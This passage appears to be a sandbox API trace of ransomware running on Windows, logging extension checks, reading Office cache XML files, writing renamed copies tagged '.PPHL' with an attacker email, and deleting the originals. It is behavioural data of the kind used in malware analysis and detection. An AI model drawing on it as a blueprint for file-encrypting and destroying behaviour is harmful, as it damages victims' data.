[0060.704] lstrlenW (lpString=".docx") returned 5 [0060.705] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0060.705] lstrlenW (lpString=".pdf") returned 4 [0060.705] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.705] lstrlenW (lpString=".xls") returned 4 [0060.705] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.705] lstrlenW (lpString=".xlsx") returned 5 [0060.705] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0060.705] lstrlenW (lpString=".ppt") returned 4 [0060.705] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.705] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.705] lstrlenW (lpString=".zip") returned 4 [0060.705] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.705] lstrlenW (lpString=".rar") returned 4 [0060.705] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.705] lstrlenW (lpString=".bz2") returned 4 [0060.705] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.705] lstrlenW (lpString=".7z") returned 3 [0060.705] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.705] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.705] lstrlenW (lpString=".dbf") returned 4 [0060.705] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.705] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.705] lstrlenW (lpString=".1cd") returned 4 [0060.705] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.705] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.705] lstrlenW (lpString=".jpg") returned 4 [0060.705] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.705] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.705] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.705] lstrlenW (lpString=".doc") returned 4 [0060.705] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0060.705] lstrlenW (lpString=".docx") returned 5 [0060.705] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0060.705] lstrlenW (lpString=".pdf") returned 4 [0060.706] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0060.706] lstrlenW (lpString=".xls") returned 4 [0060.706] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0060.706] lstrlenW (lpString=".xlsx") returned 5 [0060.706] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0060.706] lstrlenW (lpString=".ppt") returned 4 [0060.706] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0060.706] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.706] lstrlenW (lpString=".zip") returned 4 [0060.706] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0060.706] lstrlenW (lpString=".rar") returned 4 [0060.706] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0060.706] lstrlenW (lpString=".bz2") returned 4 [0060.706] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0060.706] lstrlenW (lpString=".7z") returned 3 [0060.706] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0060.706] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.706] lstrlenW (lpString=".dbf") returned 4 [0060.706] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0060.706] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.706] lstrlenW (lpString=".1cd") returned 4 [0060.706] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0060.706] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0060.706] lstrlenW (lpString=".jpg") returned 4 [0060.706] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0060.706] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0060.706] lstrlenW (lpString="Setup.xml") returned 9 [0060.706] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0061.009] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=6241) returned 1 [0061.009] CloseHandle (hObject=0x1b8) returned 1 [0061.009] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0061.009] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.009] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0061.010] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.010] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.010] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0061.011] GetLastError () returned 0x0 [0061.011] ReadFile (in: hFile=0x1b8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x1861, lpOverlapped=0x0) returned 1 [0061.013] WriteFile (in: hFile=0x1a8, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x1870, lpOverlapped=0x0) returned 1 [0061.014] ReadFile (in: hFile=0x1b8, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.014] WriteFile (in: hFile=0x1a8, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.014] SetEndOfFile (hFile=0x1a8) returned 1 [0061.014] CloseHandle (hObject=0x1a8) returned 1 [0061.015] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.015] SetEndOfFile (hFile=0x1b8) returned 1 [0061.016] CloseHandle (hObject=0x1b8) returned 1 [0061.016] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.016] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0061.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.017] lstrlenW (lpString=".doc") returned 4 [0061.017] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.017] lstrlenW (lpString=".docx") returned 5 [0061.017] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.017] lstrlenW (lpString=".pdf") returned 4 [0061.017] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.017] lstrlenW (lpString=".xls") returned 4 [0061.017] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.017] lstrlenW (lpString=".xlsx") returned 5 [0061.017] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.017] lstrlenW (lpString=".ppt") returned 4 [0061.017] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.017] lstrlenW (lpString=".zip") returned 4 [0061.017] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.017] lstrlenW (lpString=".rar") returned 4 [0061.017] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.017] lstrlenW (lpString=".bz2") returned 4 [0061.017] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.017] lstrlenW (lpString=".7z") returned 3 [0061.017] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.017] lstrlenW (lpString=".dbf") returned 4 [0061.017] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.017] lstrlenW (lpString=".1cd") returned 4 [0061.017] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.017] lstrlenW (lpString=".jpg") returned 4 [0061.017] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.017] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.017] lstrlenW (lpString=".doc") returned 4 [0061.017] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.017] lstrlenW (lpString=".docx") returned 5 [0061.017] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0061.018] lstrlenW (lpString=".pdf") returned 4 [0061.018] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.018] lstrlenW (lpString=".xls") returned 4 [0061.018] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.018] lstrlenW (lpString=".xlsx") returned 5 [0061.018] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0061.018] lstrlenW (lpString=".ppt") returned 4 [0061.018] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.018] lstrlenW (lpString=".zip") returned 4 [0061.018] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.018] lstrlenW (lpString=".rar") returned 4 [0061.018] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.018] lstrlenW (lpString=".bz2") returned 4 [0061.018] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.018] lstrlenW (lpString=".7z") returned 3 [0061.018] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.018] lstrlenW (lpString=".dbf") returned 4 [0061.018] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.018] lstrlenW (lpString=".1cd") returned 4 [0061.018] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.018] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0061.018] lstrlenW (lpString=".jpg") returned 4 [0061.018] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.018] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0061.018] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0061.018] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.020] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1452) returned 1 [0061.020] CloseHandle (hObject=0x198) returned 1 [0061.020] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0061.020] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.020] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.020] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.020] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.020] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0061.021] GetLastError () returned 0x0 [0061.021] ReadFile (in: hFile=0x198, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0061.025] WriteFile (in: hFile=0x1b8, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0061.026] ReadFile (in: hFile=0x198, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.026] WriteFile (in: hFile=0x1b8, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0061.026] SetEndOfFile (hFile=0x1b8) returned 1 [0061.026] CloseHandle (hObject=0x1b8) returned 1 [0061.027] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.027] SetEndOfFile (hFile=0x198) returned 1 [0061.028] CloseHandle (hObject=0x198) returned 1 [0061.028] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.028] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0061.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0061.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0061.029] lstrlenW (lpString=".doc") returned 4 [0061.029] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.029] lstrlenW (lpString=".docx") returned 5 [0061.029] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.029] lstrlenW (lpString=".pdf") returned 4 [0061.029] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.029] lstrlenW (lpString=".xls") returned 4 [0061.029] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.029] lstrlenW (lpString=".xlsx") returned 5 [0061.029] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.029] lstrlenW (lpString=".ppt") returned 4 [0061.029] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0061.029] lstrlenW (lpString=".zip") returned 4 [0061.029] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.029] lstrlenW (lpString=".rar") returned 4 [0061.029] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.029] lstrlenW (lpString=".bz2") returned 4 [0061.029] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.029] lstrlenW (lpString=".7z") returned 3 [0061.029] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0061.029] lstrlenW (lpString=".dbf") returned 4 [0061.029] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0061.029] lstrlenW (lpString=".1cd") returned 4 [0061.029] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.029] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0061.029] lstrlenW (lpString=".jpg") returned 4 [0061.030] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0061.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0061.030] lstrlenW (lpString=".doc") returned 4 [0061.030] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.030] lstrlenW (lpString=".docx") returned 5 [0061.030] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0061.030] lstrlenW (lpString=".pdf") returned 4 [0061.030] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.030] lstrlenW (lpString=".xls") returned 4 [0061.030] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.030] lstrlenW (lpString=".xlsx") returned 5 [0061.030] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0061.030] lstrlenW (lpString=".ppt") returned 4 [0061.030] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0061.030] lstrlenW (lpString=".zip") returned 4 [0061.030] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.030] lstrlenW (lpString=".rar") returned 4 [0061.030] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.030] lstrlenW (lpString=".bz2") returned 4 [0061.030] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.030] lstrlenW (lpString=".7z") returned 3 [0061.030] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0061.030] lstrlenW (lpString=".dbf") returned 4 [0061.030] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0061.030] lstrlenW (lpString=".1cd") returned 4 [0061.030] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.030] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0061.031] lstrlenW (lpString=".jpg") returned 4 [0061.031] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.031] lstrcmpiW (lpString1=".xml", lpString2=".PPHL") returned 1 [0061.031] lstrlenW (lpString="Setup.xml") returned 9 [0061.031] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.031] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2b7ff1c | out: lpFileSize=0x2b7ff1c*=1872) returned 1 [0061.031] CloseHandle (hObject=0x198) returned 1 [0061.031] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0061.031] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl")) returned 0xffffffff [0061.031] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0061.031] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.031] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.031] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[pvphlp@tutanota.com].pphl"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0061.032] GetLastError () returned 0x0 [0061.032] ReadFile (in: hFile=0x198, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x750, lpOverlapped=0x0) returned 1 [0061.042] WriteFile (in: hFile=0x1b8, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0x760, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0x760, lpOverlapped=0x0) returned 1 [0061.043] ReadFile (in: hFile=0x198, lpBuffer=0x32d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b7fed4, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesRead=0x2b7fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.043] WriteFile (in: hFile=0x1b8, lpBuffer=0x32d0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x32d0020*, lpNumberOfBytesWritten=0x2b7fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0061.043] SetEndOfFile (hFile=0x1b8) returned 1 [0061.043] CloseHandle (hObject=0x1b8) returned 1 [0061.044] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.044] SetEndOfFile (hFile=0x198) returned 1 [0061.045] CloseHandle (hObject=0x198) returned 1 [0061.045] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[pvphlp@tutanota.com].PPHL", dwFileAttributes=0x2020) returned 1 [0061.045] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all 